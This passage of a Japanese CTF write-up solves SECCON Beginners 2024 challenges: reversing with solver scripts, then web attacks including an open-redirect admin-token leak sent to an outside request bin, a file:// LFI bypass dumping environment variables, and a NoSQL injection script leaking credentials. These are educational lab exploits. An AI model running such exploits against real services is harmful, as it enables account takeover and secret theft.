.init_array:0000000000003CF8 ; ELF Initialization Function Table .init_array:0000000000003CF8 ; =========================================================================== .init_array:0000000000003CF8 .init_array:0000000000003CF8 ; Segment type: Pure data .init_array:0000000000003CF8 ; Segment permissions: Read/Write .init_array:0000000000003CF8 _init_array segment qword public 'DATA' use64 .init_array:0000000000003CF8 assume cs:_init_array .init_array:0000000000003CF8 ;org 3CF8h .init_array:0000000000003CF8 off_3CF8 dq offset InitArray00_func_e0db2736_ArgcMustBe2 .init_array:0000000000003CF8 ; DATA XREF: LOAD:0000000000000168↑o .init_array:0000000000003CF8 ; LOAD:00000000000002F0↑o .init_array:0000000000003D00 dq offset InitArray01_func_f8db6e92_LenMustBe32 .init_array:0000000000003D08 dq offset InitArray02_func_9e540c6a .init_array:0000000000003D10 dq offset InitArray03_func_21670b38 .init_array:0000000000003D18 dq offset InitArray04_func_b548021f .init_array:0000000000003D20 dq offset InitArray05_func_c285f76d .init_array:0000000000003D28 dq offset InitArray06_func_74b2a53c .init_array:0000000000003D30 dq offset InitArray07_func_d902e81f .init_array:0000000000003D38 dq offset InitArray08_func_35efd7b6 .init_array:0000000000003D40 dq offset InitArray09_func_1f5eba30 .init_array:0000000000003D48 dq offset InitArray10_func_bae805f6 .init_array:0000000000003D50 dq offset InitArray11_func_30b49da1 .init_array:0000000000003D58 dq offset InitArray12_func_91e3f562 .init_array:0000000000003D60 dq offset InitArray13_func_af41723c .init_array:0000000000003D68 dq offset InitArray14_func_69fd4a70 .init_array:0000000000003D70 dq offset InitArray15_func_3d90c2fa .init_array:0000000000003D78 dq offset InitArray16_func_3b8e07a4 .init_array:0000000000003D80 dq offset InitArray17_func_da53ce29 .init_array:0000000000003D88 __frame_dummy_init_array_entry dq offset frame_dummy .init_array:0000000000003D88 _init_array ends
おそらく、gcc拡張の constructor属性 が付与された関数が、この .init_array
へ並んでいるはずです。問題名の construct
そのものずばりに見えます。
また、これらの関数へ渡される引数を調べると c - Any documentation for .init_array function arguments? - Stack Overflow が見つかり、 argc, argv, envp
引数で呼び出されるらしいことが分かりました。予想通り、コマンドライン引数を検証していそうです。
各種関数を調べると、最初の2つの関数ではコマンドライン引数の数と長さを調べていました:
void __fastcall InitArray00_func_e0db2736_ArgcMustBe2(int argc, char **argv, char **envp) { if ( argc != 2 ) { puts("usage: construct <password>"); _exit(1); } } void __fastcall InitArray01_func_f8db6e92_LenMustBe32(int argc, char **argv, char **envp) { if ( strlen(argv[1]) != 32 ) exit(1); }
残りの関数はすべて、グローバル変数をindex位置決定に使いつつ、コマンドライン引数を2文字ずつ検証する内容でした。そのうちの1つの例です:
void __fastcall InitArray02_func_9e540c6a(int argc, char **argv, char **envp) { if ( strncmp(&argv[1][g_i], &aC0D4yk261hbosj[g_i], 2uLL) ) exit(1); g_i += 2; }
比較先の文字列は逆アセンブル画面のほうが拾いやすかったです:
.text:0000000000001716 lea rdx, aC0D4yk261hbosj ; "c0_d4yk261hbosje893w5igzfrvaumqlptx7n"
ここまで分かったので、後はひたすら比較対象の文字列を拾いました。各関数の名前を .init_array
セクションでの登場順に番号を振っていたので、 Functions
ウィンドウで関数名順にソートして、上の関数から逆アセンブル画面を開いて、文字列をコピペする方式を取りました:
コピペ結果を貼り付けてソルバーを作りました:
#!/usr/bin/env python3 expected_array = [ "c0_d4yk261hbosje893w5igzfrvaumqlptx7n", "oxnske1cgaiylz0mwfv7p9r32h6qj8bt4d_u5", "lzau7rvb9qh5_1ops6jg3ykf8x0emtcind24w", "9_xva4uchnkyi6wb2ld507p8g3stfej1rzqmo", "r8x9wn65701zvbdfp4ioqc2hy_juegkmatls3", "tufij3cykhrsl841qo6_0dwg529zanmbpvxe7", "b0i21csjhqug_3erat9f6mx854pyol7zkvdwn", "17zv5h6wjgbqerastioc294n0lxu38fdk_ypm", "1cgovr4tzpnj29ay3_8wk7li6uqfmhe50bdsx", "3icj_go9qd0svxubefh14ktywpzma2l7nr685", "c7l9532k0avfxso4uzipd18egbnyw6rm_tqjh", "l8s0xb4i1frkv6a92j5eycng3mwpzduqth_7o", "l539rbmoifye0u6dj1pw8nqt_74sz2gkvaxch", "aj_d29wcrqiok53b7tyn0p6zvfh1lxgum48es", "3mq16t9yfs842cbvlw5j7k0prohengduzx_ai", "_k6nj8hyxvzcgr1bu2petf5qwl09ids!om347a", ] for i, s in enumerate(expected_array): print(s[i * 2 : i * 2 + 2], end="") print()
実行しました:
$ ./solve.py c0ns7ruc70rs_3as3_h1d1ng_7h1ngs! $ ./construct 'c0ns7ruc70rs_3as3_h1d1ng_7h1ngs!' CONGRATULATIONS! The flag is ctf4b{c0ns7ruc70rs_3as3_h1d1ng_7h1ngs!} $
フラグを入手できました: ctf4b{c0ns7ruc70rs_3as3_h1d1ng_7h1ngs!}
[reversing, hard] former-seccomp (42 teams solved, 147 points)
フラグチェック用のシステムコールを自作してみました
配布ファイルとして、former-seccomp
がありました:
$ file * former-seccomp: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=0e0d6202f9e6c15fdb9146a214abfb0d47520185, for GNU/Linux 3.2.0, stripped $
配布ファイルをIDAで読み込んで逆コンパイルすると、主に次のような処理をしていることが分かりました:
main
関数冒頭でfork
し、親子それぞれで別の関数へ分岐します。- 子プロセス側は
ptrace
関数でデバッガー検知を行いつつ(検知すればexit
で終了)、kill
関数で自分自身へSIGSTOP
を送信します。 - 親プロセス側は
waitpid
関数を使い、子プロセス側がSIGSTOP
するまで待ちます。 - 親プロセス側が
ptrace
関数でシステムコール呼び出しを検知する設定をしていそうで、システムコール番号0xCAFE
が実行されるまで待ちます。理解できていませんが、どこかで子プロセスの実行を再開させています。 - 子プロセス側でユーザー入力を受け付け、
__isoc99_sscanf(inputSize64, "ctf4b{%26s%[}]", inputContentSize26, inputSize64)
が2であること、つまりctf4b{}
の内容が26文字であることを検証します。 - 子プロセス側が、システムコール番号
0xCAFE
を使って、ユーザー入力内容の26文字のアドレスを引数に、syscall
関数を呼び出します。 - 親プロセス側が
.text:00000000000019BD
箇所に突入します。ユーザー入力内容の26文字をローカルバッファへコピーしてから、text:0000000000001737
の関数を呼び出して、ユーザー入力の正誤判定をします。 .text:0000000000001737
の関数では、1バイトXORでctf4b:2024*
文字列を復号します。.data:0000000000004010
のグローバル変数のバイト列とctf4b:2024*
文字列を引数に、.text:0000000000001497
の関数を呼び出します。その結果がユーザー入力と一致するかを返します。.text:0000000000001497
の関数を読むとRC4と分かります。- RC4には特徴的な定数はありませんが、sboxの初期化処理(KSA)と乱数生成処理(PRNG)が単純かつ特徴的なので判別しやすいです。参考文献: アセンブリで書かれたRC4は見た瞬間分かるか - yasulib memo
- これらの解析結果から、
.data:0000000000004010
のグローバル変数のバイト列を、ctf4b:2024*
文字列を鍵としてRC4復号した結果がフラグと分かります。
フラグを逆算するソルバーを書きました:
#!/usr/bin/env python3 from Crypto.Cipher import ARC4 # .data:0000000000004030 key = bytearray.fromhex("43 55 44 17 46 1F 14 17 1A 1D 00").rstrip(b"\x00") for i in range(len(key)): key[i] ^= i + 32 print(key) # bytearray(b'ctf4b:2024*') # .data:0000000000004010 data2 = bytearray.fromhex("A5 D2 BC 02 B2 7C 86 38 17 B1 38 C6 E4 5C 1F A0 9D 96 D1 F0 4B A6 A6 5C 64 B7 00 00 00 00 00 00").rstrip(b"\x00") cipher = ARC4.new(key) plain = cipher.decrypt(data2) print("ctf4b{" + plain.decode() + "}")
実行しました:
$ ./solve.py bytearray(b'ctf4b:2024') ctf4b{p7r4c3_c4n_3mul4t3_sysc4ll} $ ./former-seccomp flag> ctf4b{p7r4c3_c4n_3mul4t3_sysc4ll} CONGRATULATIONS! $
フラグを入手できました: ctf4b{p7r4c3_c4n_3mul4t3_sysc4ll}
ptrace
関数の便利さ、強力さがよく分かる問題でした。
なお、コンテスト開始直後にこの問題へ取り組んでいました。1st-bloodを取れました!
[misc, easy] getRank (368 teams solved, 59 points)
https://getrank.beginners.seccon.games
問題文はURLのみです。配布ファイルとして、サーバー側プログラムの各種ファイルがありました:
$ find . -type f -print0 | xargs -0 file ./app/Dockerfile: ASCII text ./app/main.ts: JavaScript source, ASCII text ./app/package.json: JSON text data ./app/pnpm-lock.yaml: ASCII text ./app/public/index.html: HTML document, ASCII text ./docker-compose.yaml: ASCII text ./nginx/Dockerfile: ASCII text ./nginx/nginx.conf: ASCII text $
Google Chromeで問題文のURLへアクセスしてみると、「0~9の数当てゲーム」と、「現在のランクの確認」の2つの機能がありました。開発者ツールの Network
タブを見ながらそれらの機能を操作すると、2つの機能のうち通信が発生するのは「現在のランクの確認」側だけで、 {"input":"1"}
形式のJSONをPOSTするものでした。
とりあえずフラグがどこで使われているかを調べました:
$ find . -type f -print0 | xargs -0 grep -in flag ./app/main.ts:21: message: process.env.FLAG || "fake{fake_flag}", ./docker-compose.yaml:7: - FLAG=fake{fake_flag} $
app/main.ts
で使われているようです。そのファイルを調べると、次のような処理を行っていました:
(前略) const RANKING = [10 ** 255, 1000, 100, 10, 1, 0]; (中略) function ranking(score: number): Res { const getRank = (score: number) => { const rank = RANKING.findIndex((r) => score > r); return rank === -1 ? RANKING.length + 1 : rank + 1; }; const rank = getRank(score); if (rank === 1) { return { rank, message: process.env.FLAG || "fake{fake_flag}", }; } else { return { rank, message: `You got rank ${rank}!`, }; } } function chall(input: string): Res { if (input.length > 300) { return { rank: -1, message: "Input too long", }; } let score = parseInt(input); if (isNaN(score)) { return { rank: -1, message: "Invalid score", }; } if (score > 10 ** 255) { // hmm...your score is too big? // you need a handicap! for (let i = 0; i < 100; i++) { score = Math.floor(score / 10); } } return ranking(score); } (中略) server.post( "/", async (req: FastifyRequest<{ Body: { input: string } }>, res) => { const { input } = req.body; const result = chall(input); res.type("application/json").send(result); } ); (後略)
POSTした内容が、次の条件をすべて満たした場合にフラグを得られることが分かりました:
input.length
が300以下parseInt(input)
結果を100回score = Math.floor(score / 10);
しても、なお10 ** 255
以上の数値
最初は「 parseInt
がInfinityを返すような入力があるか」を探しましたが、 parseInt() - JavaScript | MDN を読んでも不可能そうだと分かりました。
以前使った、JSONを使って文字列ではなく文字列の配列を与える手法を思い出しました。
input.length
チェックは配列の要素数だけに影響するため、配列の要素である文字列の長さは無制限にできます。parseInt(input)
でinput
をString
へ変換する際に呼び出される Array.prototype.toString() - JavaScript | MDN は、join
メソッドを使います。すなわち要素数1の配列を文字列へ変換した結果は、その1要素を文字列へ変換した結果と同一になります。1要素として文字列を与えると、その文字列そのものがArray.prototype.toString()
の結果になります。
この手法を使って巨大な数値の文字列をを与えることで、フラグを得られそうだと考えました。Google Chromeの開発者ツールの Network
タブで、機能確認時に送信していた内容を右クリックして、コンテキストメニューから Copy → Copy as cURL (bash)
を選択しました。POST内容を、1000桁の文字列を要素とする配列へ変更して送信しました:
$ curl 'https://getrank.beginners.seccon.games/' -H 'Accept: */*' -H 'Accept-Language: ja' -H 'Connection: keep-alive' -H 'Content-Type: application/json' -H 'Origin: https://getrank.beginners.seccon.games' -H 'Referer: https://getrank.beginners.seccon.games/' -H 'Sec-Fetch-Dest: empty' -H 'Sec-Fetch-Mode: cors' -H 'Sec-Fetch-Site: same-origin' -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36' -H 'sec-ch-ua: "Google Chrome";v="125", "Chromium";v="125", "Not.A/Brand";v="24"' -H 'sec-ch-ua-mobile: ?0' -H 'sec-ch-ua-platform: "Windows"' --data-raw '{"input":["9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999"]}' {"rank":1,"message":"ctf4b{15_my_5c0r3_700000_b1g?}"} $
フラグを入手できました: ctf4b{15_my_5c0r3_700000_b1g?}
[misc, easy] clamre (198 teams solved, 76 points)
アンチウィルスのシグネチャを読んだことはありますか? ※サーバにアクセスしなくても解けます https://clamre.beginners.seccon.games
配布ファイルとして、サーバー側プログラムの各種ファイルがありました:
$ find . -type f -print0 | xargs -0 file ./app/Dockerfile: ASCII text ./app/flag.ldb: ASCII text ./app/requirements.txt: ASCII text ./app/server.py: Python script, ASCII text executable ./app/templates/index.html: HTML document, ASCII text ./app/templates/result.html: HTML document, ASCII text ./app/uwsgi.ini: ASCII text ./compose.yaml: ASCII text ./nginx/Dockerfile: ASCII text ./nginx/nginx.conf: ASCII text $
app/server.py
内容を調べると、最終的に clamscan
コマンドを使って、app/flag.ldb
のルールへ入力がマッチするかどうかを検証しているらしいことが分かりました。 app/flag.ldb
は次の内容です:
ClamoraFlag;Engine:81-255,Target:0;1;63746634;0/^((\x63\x74\x66)(4)(\x62)(\{B)(\x72)(\x33)\3(\x6b1)(\x6e\x67)(\x5f)\3(\x6c)\11\10(\x54\x68)\7\10(\x480)(\x75)(5)\7\10(\x52)\14\11\7(5)\})$/
/^
から始まって $/
で終わっているあたりが正規表現に見えました。よく読むと \{
や \}
のように正規表現で意味を持つ波括弧をエスケープしていたり、 \3
などの後方参照を使っていることから、ますます正規表現らしい確信が高まりました。後方参照先のグループを、テキストエディターで (
を検索して拾いました:
\3 -> 4 \7 -> 3 \10 -> _ \11 -> l \14 -> u
後方参照先を拾った結果で、テキストエディターの置換機能で置き換えました。残りの \xhh
形式のデコードには、Pythonのインタープリターへ頼りました(この時、 \{
などの波括弧のエスケープは不要です):
>>> "((\x63\x74\x66)(4)(\x62)({B)(\x72)(\x33)4(\x6b1)(\x6e\x67)(\x5f)4(\x6c)l_(\x54\x68)3_(\x480)(\x75)(5)3_(\x52)ul3(5)})".replace("(", "").replace(")", "") 'ctf4b{Br34k1ng_4ll_Th3_H0u53_Rul35}' >>>
フラグを入手できました: ctf4b{Br34k1ng_4ll_Th3_H0u53_Rul35}
[web, beginner] wooorker (186 teams solved, 78 points)
adminのみflagを取得できる認可サービスを作りました! https://wooorker.beginners.seccon.games 脆弱性報告bot
問題文の 脆弱性報告bot
には https://wooorker.beginners.seccon.games/report
へのリンクが設定されていました。また、配布ファイルとして、サーバー側プログラムの各種ファイルがありました:
$ find . -type f -print0 | xargs -0 file ./app/Dockerfile: ASCII text ./app/package.json: JSON text data ./app/public/flag.html: HTML document, ASCII text ./app/public/flag.js: HTML document, ASCII text ./app/public/login.html: HTML document, ASCII text ./app/public/login.js: ASCII text ./app/public/main.js: ASCII text ./app/public/report.html: HTML document, Unicode text, UTF-8 text ./app/server.js: JavaScript source, Unicode text, UTF-8 text ./compose.yaml: ASCII text ./crawler/Dockerfile: ASCII text ./crawler/dumb-init_1.2.5_x86_64: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, stripped ./crawler/index.js: JavaScript source, ASCII text ./crawler/package.json: JSON text data ./nginx/Dockerfile: ASCII text ./nginx/nginx.conf: ASCII text $
Google Chromeで問題文記載のURLへアクセスするとログインが必要と言われ、 https://wooorker.beginners.seccon.games/login?next=/
のログインページへ誘導されました。ソースコードからログイン情報を探すと、 app/server.js
に次の内容がありました:
(前略) const jwtSecret = crypto.randomBytes(64).toString('hex'); const FLAG = process.env.FLAG; const ADMIN_PASSWORD = process.env.ADMIN_PASSWORD; const users = { admin: { password: ADMIN_PASSWORD, isAdmin: true }, guest: { password: 'guest', isAdmin: false } }; (後略)
ログインフォームで試すと、ユーザー名 guest
、 パスワードも guest
でログインできました。ログインすると https://wooorker.beginners.seccon.games/?token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imd1ZXN0IiwiaXNBZG1pbiI6ZmFsc2UsImlhdCI6MTcxODc5ODI5OSwiZXhwIjoxNzE4ODAxODk5fQ.e4ZOCqYnGT9tm_Lh7fZm4gSb_ougz1zFQiVvJ7pVFw8
へ遷移しましたが、 Access denied
との表示でした。 admin
としてログインする必要がありそうです。
脆弱性報告bot
ページへアクセスすると、次の説明がありました:
ログイン機能の脆弱性を見つけたら報告してください。 例えば、login?next=/を送信するとadminがhttps://wooorker.beginners.seccon.games/login?next=/にアクセスし、ログインを行います。
試しに自分で https://wooorker.beginners.seccon.games/login?next=https://example.com
から guest
としてログインすると、 https://example.com/?token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imd1ZXN0IiwiaXNBZG1pbiI6ZmFsc2UsImlhdCI6MTcxODc5ODY1OCwiZXhwIjoxNzE4ODAyMjU4fQ.oEK1pS_sS0hEPaoXkrw_CGdYwgqUpVsqFedXKdWpl6Q
と、指定したURLに token
パラメーター付きで遷移しました。この挙動を使用すると、脆弱性報告botから admin
権限の token
を得られそうです。
私はサーバーを持っていないので、Webサービスを利用しました。最初は requestrepo.com を使おうとしたのですが、脆弱性報告botからはDNSリクエストがあるだけで、実際のHTTPアクセスはありませんでした。何故か分かっていません。困ったので次に RequestBin — A modern request bin to collect, inspect and debug HTTP requests and webhooks - Pipedream を使いました。 /report
ページで login?next=https://ホスト名省略.x.pipedream.net
を送信すると、 token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaXNBZG1pbiI6dHJ1ZSwiaWF0IjoxNzE4NDY3MzAwLCJleHAiOjE3MTg0NzA5MDB9.SvO-Mgu7EDPodNwtAB325IJYc1e-T69u34PQ6AAHSwA
の admin
用のトークンを持った通信が、RequestsBinのページに表示されました。そのトークンを使って https://wooorker.beginners.seccon.games/?token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaXNBZG1pbiI6dHJ1ZSwiaWF0IjoxNzE4NDY3MzAwLCJleHAiOjE3MTg0NzA5MDB9.SvO-Mgu7EDPodNwtAB325IJYc1e-T69u34PQ6AAHSwA
へアクセスすると、フラグが表示されました: ctf4b{0p3n_r3d1r3c7_m4k35_70k3n_l34k3d}
[web, easy] ssrforlfi (76 teams solved, 113 points)
SSRF? LFI? ひょっとしてRCE? https://ssrforlfi.beginners.seccon.games
悩んだ問題の1つです。配布ファイルとして、サーバー側プログラムの各種ファイルがありました:
$ find . -type f -print0 | xargs -0 file ./.env: ASCII text, with CRLF line terminators ./app/app.py: Python script, ASCII text executable, with CRLF line terminators ./app/Dockerfile: ASCII text, with CRLF line terminators ./app/requirements.txt: ASCII text, with CRLF line terminators ./app/uwsgi.ini: ASCII text, with CRLF line terminators ./docker-compose.yml: ASCII text ./nginx/Dockerfile: ASCII text ./nginx/nginx.conf: ASCII text $
app/app.py
は次の内容でした:
import os import re import subprocess from flask import Flask, request app = Flask(__name__) @app.route("/") def ssrforlfi(): url = request.args.get("url") if not url: return "Welcome to Website Viewer.<br><code>?url=http://example.com/</code>" # Allow only a-z, ", (, ), ., /, :, ;, <, >, @, | if not re.match('^[a-z"()./:;<>@|]*$', url): return "Invalid URL ;(" # SSRF & LFI protection if url.startswith("http://") or url.startswith("https://"): if "localhost" in url: return "Detected SSRF ;(" elif url.startswith("file://"): path = url[7:] if os.path.exists(path) or ".." in path: return "Detected LFI ;(" else: # Block other schemes return "Invalid Scheme ;(" try: # RCE ? proc = subprocess.run( f"curl '{url}'", capture_output=True, shell=True, text=True, timeout=1, ) except subprocess.TimeoutExpired: return "Timeout ;(" if proc.returncode != 0: return "Error ;(" return proc.stdout if __name__ == "__main__": app.run(debug=True, host="0.0.0.0", port=4989)
フラグはどこにあるのかと調べると、環境変数として設定されているだけらしいことも分かりました:
$ find . -type f -exec grep -in flag {} /dev/null \; ./.env:1:FLAG=ctf4b{*****REDACTED*****} $
試行錯誤や考察をしました:
- 環境変数を読み込むために
/prof/self/environ
を読み込ませて表示させたいです。 curl
コマンド実行時では、url
引数がシングルクォートで囲われており、またurl
そのものにシングルクォートは含められないため、curl
のオプションを増やしたり、複文で別のコマンドを実行させることは不可能そうです。- HTTP/HTTPSプロトコル側では、ホスト名として
127.0.0.1
や、そのIPアドレスへ解決されるドメイン(subdomain - Public Wildcard Domain Name To Resolve To 127.0.0.1 - Stack Overflow) を指定することでサーバー側内部へ通信させることはできますが、コロンが封じられているため80/443番ポートへしかアクセスできず、かつ今回のサーバーはどちらも閉じているため、おそらく使い道はないです。 - そのためFILEプロトコル側が本命になりそうですが
path = url[7:]
からのos.path.exists(path)
チェックをどうにかして迂回する必要があります。curl
コマンドでは[]
の角括弧や{}
の波括弧をGLOBBINGとして使えますが、今回の問題ではそれらすべての文字が封じられています。/proc/self/root/
が/
のシンボリックリンクであることを利用して/proc/self/root/proc/self/root/(以降繰り返し)/proc/self/environ
のような長いパスを渡して何か起こらないか期待しましたが、502 Bad Gateway
が起こるだけでした。502 Bad Gateway
が起こらない範囲では、os.path.exists(path)
は適切に機能しているようでした。url
末尾に改行文字を1個だけ付与しても何故かre.match
チェックが通るようでしたが、特段嬉しいことはなさそうでした。
1時間悩んだり、他の問題に移ったり、寝て起きたりした後に、ふと思いつきました。「FILEプロトコルではホスト名を指定できるはずで、ホスト名を指定すれば path = url[7:]
にホスト名も入って os.path.exists(path)
をFalseにさせられるのでは?」と。動作確認も兼ねていたソルバーに組み込みました:
#!/usr/bin/env python3 import requests # BASE_URL = "http://localhost:4989" BASE_URL = "https://ssrforlfi.beginners.seccon.games" with requests.Session() as session: response = session.get( BASE_URL + "/", params={"url": "file://localhost/proc/self/environ"} ) print(response.text.split("\x00"))
実行しました:
$ ./solve.py ['UWSGI_ORIGINAL_PROC_NAME=uwsgi', 'HOSTNAME=a84e51bef68d', 'HOME=/home/ssrforlfi', 'PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', 'LANG=C.UTF-8', 'DEBIAN_FRONTEND=noninteractive', 'PWD=/var/www', 'TZ=Asia/Tokyo', 'UWSGI_RELOADS=0', 'FLAG=ctf4b{1_7h1nk_bl0ck3d_b07h_55rf_4nd_lf1}', ''] $
フラグを入手できました: ctf4b{1_7h1nk_bl0ck3d_b07h_55rf_4nd_lf1}
[web, medium] double-leaks (55 teams solved, 130 points)
Can you leak both username and password? :eyes: https://double-leaks.beginners.seccon.games
配布ファイルとして、サーバー側プログラムの各種ファイルがありました:
$ find . -type f -print0 | xargs -0 file ./.env: ASCII text ./app/app.py: Python script, ASCII text executable ./app/Dockerfile: ASCII text ./app/requirements.txt: ASCII text ./app/templates/index.html: HTML document, ASCII text ./app/uwsgi.ini: ASCII text ./docker-compose.yml: ASCII text ./nginx/Dockerfile: ASCII text ./nginx/nginx.conf: ASCII text $
後で出てくるユーザー名やパスワード、フラグは、 .env
で指定していました:
ADMIN_USERNAME=t4sk4233 ADMIN_PASSWORD="How's_1t_go1ng?" FLAG=ctf4b{th15_1s_4_f4ke_flag}
app/app.py
は主に次の内容でした:
(前略) client = get_mongo_client() db = client.get_database("double-leaks") users_collection = db.get_collection("users") admin_username = os.getenv("ADMIN_USERNAME", "") assert len(admin_username) > 0 and any( [ch in string.printable for ch in admin_username] ), "ADMIN_USERNAME is not set" admin_password = os.getenv("ADMIN_PASSWORD", "") assert len(admin_password) > 0 and any( [ch in string.printable for ch in admin_password] ), "ADMIN_PASSWORD is not set" flag = os.getenv("FLAG", "flag{dummy_flag}") assert len(flag) > 0 and any( [ch in string.printable for ch in flag] ), "FLAG is not set" if users_collection.count_documents({}) == 0: hashed_password = hashlib.sha256(admin_password.encode("utf-8")).hexdigest() users_collection.insert_one( {"username": admin_username, "password_hash": hashed_password} ) (中略) def waf(input_str): # DO NOT SEND STRANGE INPUTS! :rage: blacklist = [ "/", ".", "*", "=", "+", "-", "?", ";", "&", "\\", "=", " ^", "(", ")", "[", "]", "in", "where", "regex", ] return any([word in str(input_str) for word in blacklist]) (中略) @app.route("/login", methods=["POST"]) def login(): username = request.json["username"] password_hash = request.json["password_hash"] if waf(password_hash): return jsonify({"message": "DO NOT USE STRANGE WORDS :rage:"}), 400 try: client = get_mongo_client() db = client.get_database("double-leaks") users_collection = db.get_collection("users") user = users_collection.find_one( {"username": username, "password_hash": password_hash} ) if user is None: return jsonify({"message": "Invalid Credential"}), 401 # Confirm if credentials are valid just in case :smirk: if user["username"] != username or user["password_hash"] != password_hash: return jsonify({"message": "DO NOT CHEATING"}), 401 return jsonify( {"message": f"Login successful! Congrats! Here is the flag: {flag}"} ) (後略)
サーバー側の起動時に環境変数から読み込んだユーザー名とパスワードハッシュをMongoDBのデータベースへ追加しています。ログイン処理では、ユーザー名はそのまま、パスワードハッシュ側は waf
関数の拒否リストを通過することを確認してから、 users_collection.find_one
で入力内容と一致するユーザーを検索しています。
ログイン時の入力でNoSQL Injectionができるかを試そうとしました。 app/app.py
の処理では、ユーザーが見つかった場合でも Confirm if credentials are valid just in case :smirk:
として改めてユーザー名とパスワードハッシュが完全一致するか検証しており、完全一致する場合にのみフラグが表示されます。とはいえ応答が "Invalid Credential"
か "DO NOT CHEATING"
のどちらになるかで情報は手に入ります。db.collection.findOne() - MongoDB Manual v7.0 から辿れる Query and Projection Operators - MongoDB Manual v7.0 を眺めていると、 $ne
演算子や $lt
演算子が目に入りました。それらは waf
関数を突破できる演算子です。とりあえずユーザー名とパスワードハッシュの両方に {"$ne": ""}
を設定してログインを試すと DO NOT CHEATING
応答をもらえました。想像通り、NoSQL Injectionができるようです。
後は $lt
演算子を使って、ユーザー名やパスワードハッシュを二分探索しました。また、どうやら1秒間に10リクエストまでのレート制限を設けているらしく 429 Too Many Requests
応答が返ることがあったので、429応答時はSleepを挟みました。書いたソルバーです:
#!/usr/bin/env python3 import time import requests BASE_URL = "https://double-leaks.beginners.seccon.games" with requests.Session() as session: def login(username, password_hash): while True: data = { "username": username, "password_hash": password_hash, } response = session.post(BASE_URL + "/login", json=data) if response.status_code == 429: # 429 Too Many Requests print("(429, sleep)...") time.sleep(1) # <p>10 per 1 second</p> continue # print(response.text) return response def oracle(username, password_hash): return login(username, password_hash).json()["message"] != "Invalid Credential" def detect_username(): current_name = "" for i in range(60): low = 0x20 high = 0x7F while low < high: mid = (low + high) // 2 tmp_name = current_name + chr(mid) print(f"{tmp_name = }") if oracle({"$lt": tmp_name}, {"$ne": ""}): high = mid else: low = mid + 1 current_name += chr(low - 1) print(f"{current_name = }") if oracle(current_name, {"$ne": ""}): break return current_name def detect_password_hash(username): blacklist = [ "/", ".", "*", "=", "+", "-", "?", ";", "&", "\\", "=", " ^", "(", ")", "[", "]", "in", "where", "regex", ] candidates = "" for i in range(0x20, 0x7F): if chr(i) not in blacklist: candidates += chr(i) # 後で気付きましたがSHA256なので候補はhex文字だけでした…… candidates = "0123456789abcdef" current_password_hash = "" for i in range(70): # SHA256のhexdigestは64文字 low = 0 high = len(candidates) while low < high: mid = (low + high) // 2 tmp_password_hash = current_password_hash + candidates[mid] print(f"{tmp_password_hash = }") if oracle(username, {"$lt": tmp_password_hash}): high = mid else: low = mid + 1 current_password_hash += candidates[low - 1] print(f"{current_password_hash = }") if oracle(username, current_password_hash): break return current_password_hash username = detect_username() # username = "ky0muky0mupur1n" password_hash = detect_password_hash(username) # password_hash = "d36cc81ec2ff37bbcf9a1f537bfa508ceeee2dd6e5fbc9a8e21467b5a43ff31a" print(login(username, password_hash).text)
実行しました:
$ time ./solve.py tmp_name = 'O' tmp_name = 'g' tmp_name = 's' tmp_name = 'm' tmp_name = 'j' tmp_name = 'l' tmp_name = 'k' current_name = 'k' (中略) tmp_name = 'ky0muky0mupur1n' current_name = 'ky0muky0mupur1n' tmp_password_hash = '8' tmp_password_hash = '8' tmp_password_hash = 'c' tmp_password_hash = 'e' tmp_password_hash = 'd' current_password_hash = 'd' (中略) tmp_password_hash = 'd36cc81ec2ff37bbcf9a1f537bfa508ceeee2dd6e5fbc9a8e21467b5a43ff31a' tmp_password_hash = 'd36cc81ec2ff37bbcf9a1f537bfa508ceeee2dd6e5fbc9a8e21467b5a43ff31b' current_password_hash = 'd36cc81ec2ff37bbcf9a1f537bfa508ceeee2dd6e5fbc9a8e21467b5a43ff31a' {"message":"Login successful! Congrats! Here is the flag: ctf4b{wh4t_k1nd_0f_me4l5_d0_y0u_pr3f3r?}"} ./solve.py 0.94s user 0.08s system 3% cpu 33.724 total $
フラグを入手できました: ctf4b{wh4t_k1nd_0f_me4l5_d0_y0u_pr3f3r?}
ところで、この問題で各種実験をしようと思った時、まずはローカルのdockerコンテナ実行で試そうと思ったのですが、 docker compose up
しても次のエラーなどが発生しており、どうにもうまく実行できませんでした:
